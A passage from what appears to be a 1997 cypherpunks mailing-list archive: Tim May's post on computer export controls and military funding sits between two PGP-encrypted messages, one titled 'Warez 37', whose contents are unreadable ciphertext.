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
En66bLOeqCLS096Ea90MwnCgijll43pFb1B1gA==
=bfLY
-----END PGP MESSAGE-----




From tcmay at got.net  Thu Dec 18 13:07:15 1997
From: tcmay at got.net (Tim May)
Date: Fri, 19 Dec 1997 05:07:15 +0800
Subject: Can I do Pubkic Domain that -
In-Reply-To: <01bd0b5d$497dfee0$69737018@eudoxus.bc.rogers.wave.ca>
Message-ID: 



At 12:04 PM -0700 12/18/97, David Honig wrote:
>At 06:33 PM 12/17/97 -0800, Bruce Balden wrote:
>>
>>Those guys just never learn that not only is the barn door open, but that
>>contents were never theirs to begin with.
>>
>
>They blew their chance to regulate *computers* as military tech.
>Computers, after all, were developed by the military for ballistic, bombs,
>and codes.

I can't follow your logic here. Several points:

* The government _has_ regulated the export of computers for a long time,
in the COCOM rules, and still in other rules covering computers. (A famous
benchmark was how fast a computer or other system could compute a
particular FFT--any faster than some threshold and the computer could not
be freely exported, least of all to various Bad Nations.)

* As for "regulate *computers* as military tech," domestically, there are
very, very few technologies the government has the authority to regulate
domestically. Nuclear and biological weapons are one example (with specific
enabling legislation). A few other technologies. (For example, making a gun
in one's machine shop can violate various confusing gun laws.) But the
"regulate *computers* as military tech" line just doesn't make sense.

* Nor is it clear that computers were developed "for" military uses. True,
some earlier computers were used by the military, and the development bill
was paid for by the military. But unless specific patents are involved,
such early uses most definitely do not give the military control over later
developments!

(Nor do I think the military played the dominant role. I have long heard
about how the space program caused the microprocessor to be invented.
Nonsense. I was at Intel from 1974 to 1986, and have also read many
histories of the 1960s developements, and can argue without fear of
correction that neither military nor NASA spending had much if anything to
do with the developments.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From hg-p at dev.null  Thu Dec 18 13:13:22 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Fri, 19 Dec 1997 05:13:22 +0800
Subject: Warez 37
Message-ID: <199712182028.OAA12839@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
